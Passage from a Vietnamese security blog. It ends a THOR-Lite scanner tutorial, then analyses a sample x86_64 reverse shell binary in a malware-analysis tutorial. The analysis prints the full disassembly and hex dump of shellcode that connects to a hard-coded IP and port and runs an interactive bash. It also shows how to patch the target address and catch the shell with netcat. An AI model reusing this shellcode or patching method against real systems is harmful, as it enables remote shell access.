Apr 28 09:06:38 desktop-vqp1v6e THOR_LITE_UTIL: Info: Decrypting file 'DESKTOP-VQP1V6E_thor_2021-04-28_1604.htm' ...
Apr 28 09:06:38 desktop-vqp1v6e THOR_LITE_UTIL: Info: Successfully encrypted
Apr 28 09:06:38 desktop-vqp1v6e THOR_LITE_UTIL: Info: Decrypting file 'DESKTOP-VQP1V6E_thor_2021-04-28_1604.json' ...
Apr 28 09:06:38 desktop-vqp1v6e THOR_LITE_UTIL: Info: Successfully encrypted
Apr 28 09:06:38 desktop-vqp1v6e THOR_LITE_UTIL: Info: Decrypting file 'DESKTOP-VQP1V6E_thor_2021-04-28_1604.txt' ...
Apr 28 09:06:38 desktop-vqp1v6e THOR_LITE_UTIL: Info: Successfully encrypted
</code></pre>
<p>Hoặc trường hợp các report nằm ở các thư mục riêng lẻ</p>
<pre><code class="language-powershell">\( \)files = Get-ChildItem -Path "path\to\directory" -Attributes !Directory -Recurse | Select-Object -ExpandProperty FullName
\( \)thor_cmd = "path\to\thor-lite-util.exe decrypt --privkey path\to\key.pri "
\( foreach(\)item in \(files) { Invoke-Expression -Command "\)thor_cmd $item" }
</code></pre>
<h2>1.3. Gộp các Report</h2>
<p>Kết quả scan của nhiều máy có thể gộp chung lại thành một report dạng HTML. Mỗi máy sẽ có các report dạng <code>*.txt</code>, cần thu thập các file này lại và đặt cùng một thư mục. Thực hiện lệnh sau:</p>
<pre><code class="language-powershell">$ thor-lite-util.exe report --logdir path\to\report-txt\

Jan  5 09:57:36 desktop-h4sv2ln THOR_LITE_UTIL: Info: [!] filter file is empty or no filter file defined
Jan  5 09:57:36 desktop-h4sv2ln THOR_LITE_UTIL: Info: Counts: 0 Alerts, 10 Warnings, 88 Notices, 296 Infos, 0 Errors
Jan  5 09:57:37 desktop-h4sv2ln THOR_LITE_UTIL: Info: Counts: 0 Alerts, 13 Warnings, 47 Notices, 686 Infos, 0 Errors
Jan  5 09:57:37 desktop-h4sv2ln THOR_LITE_UTIL: Info: &gt; 2 log files processed
Jan  5 09:57:37 desktop-h4sv2ln THOR_LITE_UTIL: Info: [+] Report generated as 'report.htm'
</code></pre>
<h1>2. Process Memory Scanner</h1>
<p>Đôi khi nếu chỉ quét tệp tin thì sẽ không thể phát hiện được Malware, vì chúng có thể sử dụng rất nhiều kỹ thuật: <code>obfuscate</code>, <code>packing</code>,.. để bypass các hệ thống rà quét dựa trên signature. Trong vùng nhớ của một tiến trình độc hại đang hoạt động, rất có thể chứa các <code>strings</code>, <code>bytes</code> dữ liệu,.. Đây là các signature mà <strong>THOR</strong> có thể phát hiện (tất nhiên phải có Rules phát hiện). Lưu ý là THOR mặc định quét các tiến trình với kích thước trên Mem tối đa là <code>524288000 bytes = 524MB</code>.</p>
<h2>2.1. <strong>Chỉ định quét một Process:</strong></h2>
<p>Phiên bản <strong>THOR-Lite</strong> sẽ mặc định enable các module như <code>Autoruns</code> và <code>FileSystem</code>, Cần disable các module này khi chỉ quét <code>Process</code>. Tham số <code>--process 2332,7888</code> chỉ ra ta đang quét các tiến trình có <code>PID = 2332 và 7888</code>. Lưu ý là nó chỉ quét một tiến trình đc chỉ định <code>PID</code>, nó không quét các tiến trình con và giả sử các tiến trình đều là cùng 1 tệp executable thì THOR sẽ chỉ Report 1 Process.</p>
<pre><code class="language-powershell">$ thor-lite.exe --process 2332,7888 --noautoruns --nofilesystem
</code></pre>
<h2>2.2. Quét kiểm tra các Process với C2 IOCs có sẵn:</h2>
<p>Tùy chọn này: <code>--c2-in-memory</code> quét tất cả các tiến trình với các <strong>IOCs</strong> có sẵn trong: <code>.\signatures\iocs\</code>. Theo mặc định thì **THOR-Lite** bật module <code>ProcessCheck</code> và nó cũng đã có luôn tùy chọn này rồi.</p>
<pre><code class="language-powershell">$ thor-lite.exe --c2-in-memory --noautoruns --nofilesystem
</code></pre>
<h2>2.3. Quét Offline một tệp Process Dump:</h2>
<p>Tùy chọn này <strong>THOR-Lite</strong> không hỗ trợ, phải có License của bản “<strong>THOR xịn!</strong>” 🤤 Để thu được các tệp dump này có thể dùng: Task Manager, Process Explorer, ProcDump,.v.v...</p>
<pre><code class="language-powershell">$ thor-lite.exe --image_file "path\to\example.dmp"
</code></pre>
<h1>3. Output Options</h1>
<p>Đầu ra của <strong>THOR</strong> có thể được tùy chỉnh để thuận tiện làm INPUT cho các hệ thống quản lý tập chung khác. Một số option hữu ích:</p>
<ul>
<li><p><code>--ascii</code>: Không in các ký tự non-ASCII vào Report</p>
</li>
<li><p><code>--cmdkeyval</code>: Show kết quả dạng <code>JSON</code> ở CMD/Console</p>
</li>
<li><p><code>--csvfile "PC-01.csv"</code>: Chỉ định tên Report dạng <code>CSV</code>. Mặc định <code>":hostname:_files_md5s.csv"</code></p>
</li>
<li><p><code>--htmlfile "PC-01.html"</code>: Chỉ định tên Report dạng <code>HTM</code>. Mặc định <code>":hostname:_thor_2021-04-28_1405.html"</code></p>
</li>
<li><p><code>l, --logfile "PC-01.txt"</code>: Chỉ định tên Report dạng <code>TXT</code>. Mặc định <code>":hostname:_thor_2021-04-28_1405.txt"</code></p>
</li>
<li><p><code>--encrypt</code>: Mã hóa RSA Report, sử dụng kết hợp với <code>--pubkey ".\thor-rsa-public.pem"</code></p>
</li>
<li><p><code>--json</code>: Mặc định không xuất Report dạng <code>JSON</code>, nếu dùng tham số này sẽ xuất JSON report theo tên mặc định, sử dụng <code>--jsonfile "PC-01.json"</code> để chỉ định tên file Report</p>
</li>
<li><p><code>--nocsv, --nohtml, --nolog</code>: Không xuất Report theo các định dạng tương ứng</p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Binary 106: Reverse Shell Analysis]]></title><description><![CDATA[Bài trước đã đi phân tích một BindShell đơn giản, đặc điểm của loại chương trình này là nó mở cổng phía Victim sau đó đợi kết nối từ bên ngoài đến. Điều này làm lộ rõ những hạn chế nhất định như: Dễ b]]></description><link>https://blog.lehonghai.com/binary-106-reverse-shell-analysis</link><guid isPermaLink="true">https://blog.lehonghai.com/binary-106-reverse-shell-analysis</guid><dc:creator><![CDATA[Hai Le Hong]]></dc:creator><pubDate>Sat, 20 Mar 2021 10:05:00 GMT</pubDate><content:encoded><![CDATA[<p>Bài trước đã đi phân tích một <strong>BindShell</strong> đơn giản, đặc điểm của loại chương trình này là nó mở cổng phía Victim sau đó đợi kết nối từ bên ngoài đến. Điều này làm lộ rõ những hạn chế nhất định như: Dễ bị các AV phát hiện, không bypass được Firewall,.. Trong thế giới thực, thường Firewall sẽ chỉ cho phép truy cập thông qua một số port nhất định. Bài này sẽ đi phân tích một <a href="https://github.com/PacktPublishing/Binary-Analysis-Cookbook/blob/master/Chapter-07/64bit/ch07-revshell64"><strong>Reverse Shell</strong></a> đơn giản, không như Bindshell mở cổng trên máy Victim, ReverseShell sẽ chủ động kết nối ra bên ngoài mạng đến một Server đã mở cổng và lắng nghe sẵn do hacker dựng lên.</p>
<h1>1. Trích xuất thông tin tự động</h1>
<p>Trong bài Phân tích BindShell trước đó, ở bước thu thập thông tin, chúng ta đã sử dụng các công cụ có sẵn như: <code>file, strings, objdump, readelf, hexdump</code>,.. để trích xuất thông tin cũng như phân tích một cách thủ công các tệp ELF. Phần này sẽ sử dụng Bash Script để tự động hóa các bước này.</p>
<p>Chạy Bash Script để lấy nhanh kết quả:</p>
<pre><code class="language-bash">\( ./bac-automation.sh ch07-revshell64 "output-\)(date +%m-%d-%Y-%H:%M:%S).txt"
FILE TYPE INFORMATION

ch07-revshell64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
...
</code></pre>
<p>Nhìn vào kết quả được lưu trong tệp <code>*.txt</code>, ta thấy chuỗi: <code>"ch07-revshell64.nasm"</code></p>
<pre><code class="language-bash">STRINGS INFORMATION

////bashSH  |  /////binSH  |  Pfh-iH  |  PVWH  |  **ch07-revshell64.nasm**  |  __bss_start  |  _edata  |  _end  |  .symtab  |  .strtab  |  .shstrtab  |  .text  |
</code></pre>
<p>Có duy nhất một <strong>Section</strong> <code>.text</code></p>
<pre><code class="language-bash">Program Headers:
  Type           Offset   VirtAddr           PhysAddr           FileSiz  MemSiz   Flg Align
  LOAD           0x000000 0x0000000000400000 0x0000000000400000 0x000121 0x000121 R E 0x200000

 Section to Segment mapping:
  Segment Sections...
   00     .text
</code></pre>
<p>Rất ít thông tin trong <strong>Symbol Table</strong>:</p>
<pre><code class="language-bash">Symbol table '.symtab' contains 7 entries:
   Num:    Value          Size Type    Bind   Vis      Ndx Name
     0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND
     1: 0000000000400080     0 SECTION LOCAL  DEFAULT    1
     2: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS **ch07-revshell64.nasm**
     3: 0000000000400080     0 NOTYPE  GLOBAL DEFAULT    1 _start
     4: 0000000000600121     0 NOTYPE  GLOBAL DEFAULT    1 __bss_start
     5: 0000000000600121     0 NOTYPE  GLOBAL DEFAULT    1 _edata
     6: 0000000000600128     0 NOTYPE  GLOBAL DEFAULT    1 _end
</code></pre>
<p>Như vậy bước đầu ta có thể xác định được tệp ELF này được viết bằng <strong>Assembly</strong>, chương trình rất tinh gọn, không có nhiều thông tin dư thừa đi kèm.</p>
<h1>2. Phân tích tĩnh Objdump</h1>
<p>Tương tự như khi phân tích <strong>bindshell</strong>, tôi vẫn dùng <code>objdump</code> là công cụ chính khi phân tích tĩnh <strong>reverse shell</strong>. Nhìn vào output của objdump có thể thấy nó không nhận diện được các khối mã như với bindshell trước đó, vì đây là x86_64 Assembly. Do vậy, chúng ta sẽ tự chia các đoạn code thành các khối, với mối khối kết thúc bằng lệnh <strong>Syscall</strong>, lấy địa chỉ đầu làm tên khối.</p>
<ul>
<li><p>Kết quả của <strong>objdump</strong> khi disassembly reverse shell**:**</p>
<pre><code class="language-plaintext">OBJDUMP EXECUTABLE

ch07-revshell64:     file format elf64-x86-64

Disassembly of section .text:

; &lt;sub_400080&gt;
0000000000400080 &lt;_start&gt;:
  400080:       48 31 c0                xor    rax,rax
  400083:       b0 29                   mov    al,0x29
  400085:       48 31 ff                xor    rdi,rdi
  400088:       40 80 c7 02             add    dil,0x2
  40008c:       48 31 f6                xor    rsi,rsi
  40008f:       48 83 c6 01             add    rsi,0x1
  400093:       48 31 d2                xor    rdx,rdx
  400096:       0f 05                   syscall

; &lt;sub_400098&gt;
  400098:       48 89 c7                mov    rdi,rax
  40009b:       48 31 c0                xor    rax,rax
  40009e:       50                      push   rax
  40009f:       c7 44 24 fc 0a 00 02    mov    DWORD PTR [rsp-0x4],0xf02000a
  4000a6:       0f
  4000a7:       66 c7 44 24 fa 7a 69    mov    WORD PTR [rsp-0x6],0x697a
  4000ae:       89 44 24 f6             mov    DWORD PTR [rsp-0xa],eax
  4000b2:       c6 44 24 f8 02          mov    BYTE PTR [rsp-0x8],0x2
  4000b7:       48 83 ec 08             sub    rsp,0x8
  4000bb:       48 31 c0                xor    rax,rax
  4000be:       b0 2a                   mov    al,0x2a
  4000c0:       48 89 e6                mov    rsi,rsp
  4000c3:       48 31 d2                xor    rdx,rdx
  4000c6:       48 83 c2 10             add    rdx,0x10
  4000ca:       0f 05                   syscall

; &lt;sub_4000cc&gt;
  4000cc:       48 31 c0                xor    rax,rax
  4000cf:       b0 21                   mov    al,0x21
  4000d1:       48 31 f6                xor    rsi,rsi
  4000d4:       0f 05                   syscall
  4000d6:       48 31 c0                xor    rax,rax
  4000d9:       b0 21                   mov    al,0x21
  4000db:       48 ff c6                inc    rsi
  4000de:       0f 05                   syscall
  4000e0:       48 31 c0                xor    rax,rax
  4000e3:       b0 21                   mov    al,0x21
  4000e5:       48 ff c6                inc    rsi
  4000e8:       0f 05                   syscall

; &lt;sub_4000ea&gt;
  4000ea:       48 31 c0                xor    rax,rax
  4000ed:       50                      push   rax
  4000ee:       48 31 db                xor    rbx,rbx
  4000f1:       48 bb 2f 2f 2f 2f 62    movabs rbx,0x687361622f2f2f2f
  4000f8:       61 73 68
  4000fb:       53                      push   rbx
  4000fc:       48 bb 2f 2f 2f 2f 2f    movabs rbx,0x6e69622f2f2f2f2f
  400103:       62 69 6e
  400106:       53                      push   rbx
  400107:       48 89 e7                mov    rdi,rsp
  40010a:       50                      push   rax
  40010b:       66 68 2d 69             pushw  0x692d
  40010f:       48 89 e6                mov    rsi,rsp
  400112:       50                      push   rax
  400113:       56                      push   rsi
  400114:       57                      push   rdi
  400115:       48 89 e6                mov    rsi,rsp
  400118:       48 31 d2                xor    rdx,rdx
  40011b:       48 83 c0 3b             add    rax,0x3b
  40011f:       0f 05                   syscall
</code></pre>
</li>
</ul>
<p><strong>Giải thích:</strong></p>
<ul>
<li><p>Phân tích <code>&lt;sub_400080&gt;</code>:</p>
<ul>
<li><p>Tại 400083: <code>AL=0x29</code> ⇒ Tra cứu trong: <code>unistd_64.h</code> ta được: <code>#define __NR_socket 41</code> ⇒ Tra cứu trong <code>Man Page</code> ta được: <code>int socket(int domain, int type, int protocol);</code></p>
</li>
<li><p>Tại 400080, 400085, 40008c, 400093: Là các lệnh reset các thanh ghi <code>RAX, RDI, RSI, RDX</code>. Đây đều là các thanh ghi thiết lập các Param và System Call Number cho hàm <code>socket</code>. Hàm này khi được gọi thành công sẽ trả về một File Descriptor - sockfd, <strong>lưu vào RAX</strong>.</p>
</li>
<li><p>Tại 400088, 40008f, 400093: Khởi tạo giá trị cho các <code>Param 1 (PF_INET), Param 2 (SOCK_STREAM), Param 3 (IPPROTO_IP)</code> của hàm <code>socket</code>. Điểm khác biệt ở đây so với bindshell lần trước là nó ko dùng TCP mà dùng IP.</p>
</li>
<li><p>Tại 400096: Thực hiện <strong>System Call</strong> thông qua lệnh <code>syscall</code></p>
</li>
<li><p>Như vậy khối code thứ nhất thực hiện khởi tạo socket: <code>socket(PF_INET, SOCK_STREAM, IPPROTO_IP)</code></p>
</li>
</ul>
</li>
<li><p>Phân tích <code>&lt;sub_400098&gt;</code>:</p>
<ul>
<li><p>Tại 400098: <strong>sockfd</strong> được lưu vào <strong>RDI</strong>.</p>
</li>
<li><p>Tại 40009e: Ta thấy chương trình dùng lệnh <code>PUSH</code> để đẩy một thanh ghi 64-bits lên Stack nhưng bên dưới từ 4000a7 đến 4000b2 nó lại không dùng lệnh này mà thay vào đó là lệnh MOV. Lý do là vì trong x86_64 Assembly lệnh <code>PUSH</code> chỉ đẩy được thanh ghi 64-bits, 16-bits lên Stack, với 32-bits sẽ không hợp lệ.</p>
</li>
<li><p>Tại 40009f: Ta thử decode dữ liệu được đưa lên Stack, dữ liệu không hiển thị được như mong muốn như khi phân tích bindshell như bài trước. Lý do là vì đây không phải dạng chuỗi ký tự có thể hiển thị được, dữ liệu này là một địa chỉ IP đã được convert sang dạng hex. Ta sẽ decode như sau:</p>
<pre><code class="language-python">$ python
&gt;&gt;&gt; '0f02000a'.decode('hex')[::-1]
'\n\x00\x02\x0f'
&gt;&gt;&gt; import socket
&gt;&gt;&gt; socket.inet_ntoa('0a00020f'.decode('hex'))
'10.0.2.15'
</code></pre>
</li>
<li><p>Khi đã có địa chỉ IP mà ReverShell kết nối đến, vậy ta hoàn toàn có thể đoán tại 4000a7 là đưa <strong>Port number</strong> lên Stack. Decode như sau:</p>
<pre><code class="language-python">$ python
&gt;&gt;&gt; int('7a69', 16)
31337
&gt;&gt;&gt; 0x7a69
31337
</code></pre>
</li>
<li><p>Từ 4000ae đến 4000c6: Một loạt các thao tác thiết lập Stack phức tạp được thực hiện, phần này tôi sẽ không trình bày kỹ vì nó rất dài dòng. Về cơ bản chúng ta chỉ cần nắm được nguyên tắc trước khi thực hiện Syscall, chương trình sẽ thực hiện thiết lập các tham số theo thứ tự đã trình bày ở bài: “<strong>Binary 103: Linux 64-bit Assembly”</strong> trước đó đã trình bày. Sang bước sau phân tích động, khi chúng ta quan sát trạng thái các thanh ghi, ngăn xếp,.. khi đó sẽ dễ hình dung hơn.</p>
</li>
<li><p>Như vậy với khối code này ta sẽ có được như sau: <strong>AL=0x2a</strong> là System Call Number ⇒ <code>#define __NR_connect 42</code> ⇒ Kiểm tra trong Man Page: <code>int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);</code>. Param 1 (RDI) = <code>0x3 (sockfd)</code>, Param 2 (RSI) = <code>{sa_family=AF_INET, sin_port=htons(31337), sin_addr=inet_addr("10.0.2.15")}</code>, Param 3 (RDX) = <code>16</code>.</p>
</li>
<li><p>Tóm lại khối này thực hiện kết nối đến máy chủ của Hacker: <code>connect(sockfd, {sa_family=AF_INET, sin_port=htons(31337), sin_addr=inet_addr("10.0.2.15")}, 16)</code></p>
</li>
</ul>
</li>
<li><p>Phân tích <code>&lt;sub_4000cc&gt;</code>:</p>
<ul>
<li>Khối này thực hiện 3 lần gọi: <code>dup2(3, 0), dup2(3, 1), dup2(3, 2)</code> tương đương <code>dup2(sockfd, STDIN), dup2(sockfd, STDOUT), dup2(sockfd, STDERR)</code>.</li>
</ul>
</li>
<li><p>Phân tích <code>&lt;sub_4000ea&gt;</code>:</p>
<ul>
<li><p>Tại 4000f1, 4000fc, 40010b: đẩy dữ liệu dạng hex lên Stack. Decode các giá trị hex này:</p>
<pre><code class="language-python">$ python
&gt;&gt;&gt; a = '6e69622f2f2f2f2f'.decode('hex')[::-1]
&gt;&gt;&gt; b = '687361622f2f2f2f'.decode('hex')[::-1]
&gt;&gt;&gt; final = a + b
&gt;&gt;&gt; final
'/////bin////bash'
</code></pre>
</li>
<li><p>Trên Linux, hệ thống chấp nhận gọi một chương trình với nhiều ký tự <code>'/'</code>, chương trình shell này lợi dụng để điền vào nhiều ký tự đó sao cho vừa đủ với kích thước 64-bits của thanh ghi. Tương tự tại 40010b, decode dữ liệu đưa lên Stack ta được:</p>
<pre><code class="language-python">$ python
&gt;&gt;&gt; '692d'.decode('hex')[::-1]
'-i'
</code></pre>
</li>
<li><p>Tại 400115: RSI trỏ vào đỉnh Stack ⇒ trỏ đến chuỗi: <code>"/////bin////bash -i"</code>.</p>
</li>
<li><p>Tại 40011b: System Call Number được sao chép vào RAX. <code>RAX=0x3b</code> ⇒ <code>#define __NR_execve 59</code> ⇒ <code>int execve(const char *filename, char *const argv[], char *const envp[]);</code></p>
</li>
<li><p>Tại 40011f: Thực hiện <strong>System Call</strong></p>
</li>
<li><p>Như vậy khối này sẽ gọi hàm <code>execve</code> để gọi ra <strong>Bash Shell</strong>.</p>
</li>
</ul>
</li>
</ul>
<h1>3. Patching binary</h1>
<p>Nhìn vào kết quả phân tích tĩnh ở trên có thể thấy được chương trình shell cố gắng kết nối đến máy có địa chỉ IP: <code>10.0.2.15</code>, Port: <code>31337</code>. Đây là một địa chỉ IP cục bộ. Như vậy để chương trình có thể hoạt động đúng và chính xác với những gì mong muốn trong bước phân tích động, chúng ta có 2 cách:</p>
<ol>
<li><p>Tạo một máy ảo giả lập làm máy của Hacker, đặt địa chỉ IP của máy đó thành <code>10.0.2.15</code>, sau đó sử dụng <code>netcat</code> ****chạy lắng nghe trên Port <code>31337</code>.</p>
</li>
<li><p>Sửa đổi Binary của Shell, <strong>thay 10.0.2.15 thành 127.0.0.1</strong> hoặc <strong>127.1.1.1</strong>, sau đó dùng <code>netcat</code> lắng nghe trên <code>127.0.0.1:31337</code>. Lúc này revershell thay vì kết nối đến địa chỉ IP của hacker thì sẽ kết nối đến Localhost. Cách này sẽ không mất công thiết lập máy ảo mới ⇒ Tôi sẽ sử dụng cách này.</p>
</li>
</ol>
<p>Sử dụng bất kỳ một chương trình HexEditor nào đó, ví dụ: Hexedit, 010 Editor, HxD,.v.v.. Mở tệp sau đó search chuỗi byte sau: <code>"0A00020F"</code>. Đây là địa chỉ ip đã phân tích được ở bước trước.</p>
<pre><code class="language-plaintext">$ hexedit ch07-revshell64
00000000   7F 45 4C 46  02 01 01 00  00 00 00 00  00 00 00 00  02 00 3E 00  01 00 00 00  80 00 40 00  .ELF..............&gt;.......@.
0000001C   00 00 00 00  40 00 00 00  00 00 00 00  20 02 00 00  00 00 00 00  00 00 00 00  40 00 38 00  ....@....... ...........@.8.
00000038   01 00 40 00  05 00 02 00  01 00 00 00  05 00 00 00  00 00 00 00  00 00 00 00  00 00 40 00  ..@.......................@.
00000054   00 00 00 00  00 00 40 00  00 00 00 00  21 01 00 00  00 00 00 00  21 01 00 00  00 00 00 00  ......@.....!.......!.......
00000070   00 00 20 00  00 00 00 00  00 00 00 00  00 00 00 00  48 31 C0 B0  29 48 31 FF  40 80 C7 02  .. .............H1..)H1.@...
0000008C   48 31 F6 48  83 C6 01 48  31 D2 0F 05  48 89 C7 48  31 C0 50 C7  44 24 FC **0A  00 02 0F** 66  H1.H...H1...H..H1.P.D$.....f
000000A8   C7 44 24 FA  7A 69 89 44  24 F6 C6 44  24 F8 02 48  83 EC 08 48  31 C0 B0 2A  48 89 E6 48  .D\(.zi.D\)..D$..H...H1..*H..H
000000C4   31 D2 48 83  C2 10 0F 05  48 31 C0 B0  21 48 31 F6  0F 05 48 31  C0 B0 21 48  FF C6 0F 05  1.H.....H1..!H1...H1..!H....
000000E0   48 31 C0 B0  21 48 FF C6  0F 05 48 31  C0 50 48 31  DB 48 BB 2F  2F 2F 2F 62  61 73 68 53  H1..!H....H1.PH1.H.////bashS
000000FC   48 BB 2F 2F  2F 2F 2F 62  69 6E 53 48  89 E7 50 66  68 2D 69 48  89 E6 50 56  57 48 89 E6  H./////binSH..Pfh-iH..PVWH..
00000118   48 31 D2 48  83 C0 3B 0F  05 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  H1.H..;.....................
00000134   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  03 00 01 00  80 00 40 00  00 00 00 00  ......................@.....
00000150   00 00 00 00  00 00 00 00  01 00 00 00  04 00 F1 FF  00 00 00 00  00 00 00 00  00 00 00 00  ............................
0000016C   00 00 00 00  1B 00 00 00  10 00 01 00  80 00 40 00  00 00 00 00  00 00 00 00  00 00 00 00  ..............@.............
00000188   16 00 00 00  10 00 01 00  21 01 60 00  00 00 00 00  00 00 00 00  00 00 00 00  22 00 00 00  ........!.`............."...
000001A4   10 00 01 00  21 01 60 00  00 00 00 00  00 00 00 00  00 00 00 00  29 00 00 00  10 00 01 00  ....!.`.............).......
000001C0   28 01 60 00  00 00 00 00  00 00 00 00  00 00 00 00  00 63 68 30  37 2D 72 65  76 73 68 65  (.`..............ch07-revshe
000001DC   6C 6C 36 34  2E 6E 61 73  6D 00 5F 5F  62 73 73 5F  73 74 61 72  74 00 5F 65  64 61 74 61  ll64.nasm.__bss_start._edata
000001F8   00 5F 65 6E  64 00 00 2E  73 79 6D 74  61 62 00 2E  73 74 72 74  61 62 00 2E  73 68 73 74  ._end...symtab..strtab..shst
00000214   72 74 61 62  00 2E 74 65  78 74 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  rtab..text..................
00000230   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  ............................
0000024C   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  1B 00 00 00  01 00 00 00  ............................
00000268   06 00 00 00  00 00 00 00  80 00 40 00  00 00 00 00  80 00 00 00  00 00 00 00  A1 00 00 00  ..........@.................
00000284   00 00 00 00  00 00 00 00  00 00 00 00  10 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  ............................
000002A0   11 00 00 00  03 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  FE 01 00 00  ............................
000002BC   00 00 00 00  21 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  01 00 00 00  00 00 00 00  ....!.......................
000002D8   00 00 00 00  00 00 00 00  01 00 00 00  02 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  ............................
000002F4   00 00 00 00  28 01 00 00  00 00 00 00  A8 00 00 00  00 00 00 00  04 00 00 00  03 00 00 00  ....(.......................
00000310   08 00 00 00  00 00 00 00  18 00 00 00  00 00 00 00  09 00 00 00  03 00 00 00  00 00 00 00  ............................
0000032C   00 00 00 00  00 00 00 00  00 00 00 00  D0 01 00 00  00 00 00 00  2E 00 00 00  00 00 00 00  ............................
00000348   00 00 00 00  00 00 00 00  01 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00               ........................
</code></pre>
<p>Trong <strong>HexEdit</strong> để search một chuỗi hex bytes, nhấn <code>Ctrl+S</code> sau đó điền chuỗi bytes viết liền không có khoảng trắng vào để tìm kiếm. Kết quả ta tìm được chuỗi địa chỉ ip có vị trí bắt đầu tại <code>0xA3 đến 0xA6</code>. Sửa các chuỗi bytes này thành: <code>"7F010101"</code>, đây là địa chỉ IP: <code>127.1.1.1</code> nó tương tự như <code>127.0.0.1</code> sau khi chuyển đổi. Ctrl+X để lưu và thoát.</p>
<p>Kiểm tra bằng cách dùng <strong>objdump</strong> để disassembly tệp đã được sửa, và quan sát kết quả dưới đây:</p>
<pre><code class="language-plaintext">$ objdump -d -M intel ch07-revshell64-edited
...
  400098:       48 89 c7                mov    rdi,rax
  40009b:       48 31 c0                xor    rax,rax
  40009e:       50                      push   rax
  40009f:       c7 44 24 fc 7f 01 01    **mov    DWORD PTR [rsp-0x4],0x101017f**
  4000a6:       01
...
</code></pre>
<p>Quan sát tại 40009f, chúng ta đã sửa đổi thành công địa chỉ IP của Shell. Lúc này khi chạy chương trình nó sẽ kết nối đến <code>127.1.1.1:31337</code></p>
<h1>4. Phân tích động với GDB/PEDA/STRACE</h1>
<p>Trước tiên hãy chạy <code>netcat</code> lắng nghe trên <code>Port 31337</code> như sau:</p>
<pre><code class="language-bash">$ nc -lnvp 31337
Listening on [0.0.0.0] (family 0, port 31337)
</code></pre>
<p>Kiểm tra lại, đảm bảo những gì ta thực hiện là chính xác:</p>
<pre><code class="language-bash">$ sudo netstat -plant | grep 31337
tcp        0      0 0.0.0.0:31337           0.0.0.0:*               LISTEN      58451/nc
</code></pre>
<p>Sử dụng <code>GDB/PEDA</code> để debugging chương trình Reverse Shell đã được Patched địa chỉ IP ở bước trước:</p>
<pre><code class="language-plaintext">$ gdb ch07-revshell64-edited
gdb-peda$ start
gdb-peda$ pdisass _start
Dump of assembler code for function _start:
=&gt; 0x0000000000400080 &lt;+0&gt;:     xor    rax,rax
   0x0000000000400083 &lt;+3&gt;:     mov    al,0x29
   0x0000000000400085 &lt;+5&gt;:     xor    rdi,rdi
   0x0000000000400088 &lt;+8&gt;:     add    dil,0x2
   0x000000000040008c &lt;+12&gt;:    xor    rsi,rsi
   0x000000000040008f &lt;+15&gt;:    add    rsi,0x1
   0x0000000000400093 &lt;+19&gt;:    xor    rdx,rdx
   **0x0000000000400096 &lt;+22&gt;:    syscall**
   0x0000000000400098 &lt;+24&gt;:    mov    rdi,rax
   0x000000000040009b &lt;+27&gt;:    xor    rax,rax
   0x000000000040009e &lt;+30&gt;:    push   rax
   0x000000000040009f &lt;+31&gt;:    mov    DWORD PTR [rsp-0x4],0x101017f
   0x00000000004000a7 &lt;+39&gt;:    mov    WORD PTR [rsp-0x6],0x697a
   0x00000000004000ae &lt;+46&gt;:    mov    DWORD PTR [rsp-0xa],eax
   0x00000000004000b2 &lt;+50&gt;:    mov    BYTE PTR [rsp-0x8],0x2
   0x00000000004000b7 &lt;+55&gt;:    sub    rsp,0x8
   0x00000000004000bb &lt;+59&gt;:    xor    rax,rax
   0x00000000004000be &lt;+62&gt;:    mov    al,0x2a
   0x00000000004000c0 &lt;+64&gt;:    mov    rsi,rsp
   0x00000000004000c3 &lt;+67&gt;:    xor    rdx,rdx
   0x00000000004000c6 &lt;+70&gt;:    add    rdx,0x10
   **0x00000000004000ca &lt;+74&gt;:    syscall**
   0x00000000004000cc &lt;+76&gt;:    xor    rax,rax
   0x00000000004000cf &lt;+79&gt;:    mov    al,0x21
   0x00000000004000d1 &lt;+81&gt;:    xor    rsi,rsi
   0x00000000004000d4 &lt;+84&gt;:    syscall
   0x00000000004000d6 &lt;+86&gt;:    xor    rax,rax
   0x00000000004000d9 &lt;+89&gt;:    mov    al,0x21
   0x00000000004000db &lt;+91&gt;:    inc    rsi
   0x00000000004000de &lt;+94&gt;:    syscall
   0x00000000004000e0 &lt;+96&gt;:    xor    rax,rax
   0x00000000004000e3 &lt;+99&gt;:    mov    al,0x21
   0x00000000004000e5 &lt;+101&gt;:   inc    rsi
   0x00000000004000e8 &lt;+104&gt;:   syscall
   0x00000000004000ea &lt;+106&gt;:   xor    rax,rax
   0x00000000004000ed &lt;+109&gt;:   push   rax
   0x00000000004000ee &lt;+110&gt;:   xor    rbx,rbx
   0x00000000004000f1 &lt;+113&gt;:   movabs rbx,0x687361622f2f2f2f
   0x00000000004000fb &lt;+123&gt;:   push   rbx
   0x00000000004000fc &lt;+124&gt;:   movabs rbx,0x6e69622f2f2f2f2f
   0x0000000000400106 &lt;+134&gt;:   push   rbx
   0x0000000000400107 &lt;+135&gt;:   mov    rdi,rsp
   0x000000000040010a &lt;+138&gt;:   push   rax
   0x000000000040010b &lt;+139&gt;:   pushw  0x692d
   0x000000000040010f &lt;+143&gt;:   mov    rsi,rsp
   0x0000000000400112 &lt;+146&gt;:   push   rax
   0x0000000000400113 &lt;+147&gt;:   push   rsi
   0x0000000000400114 &lt;+148&gt;:   push   rdi
   0x0000000000400115 &lt;+149&gt;:   mov    rsi,rsp
   0x0000000000400118 &lt;+152&gt;:   xor    rdx,rdx
   0x000000000040011b &lt;+155&gt;:   add    rax,0x3b
   **0x000000000040011f &lt;+159&gt;:   syscall**
End of assembler dump.
</code></pre>
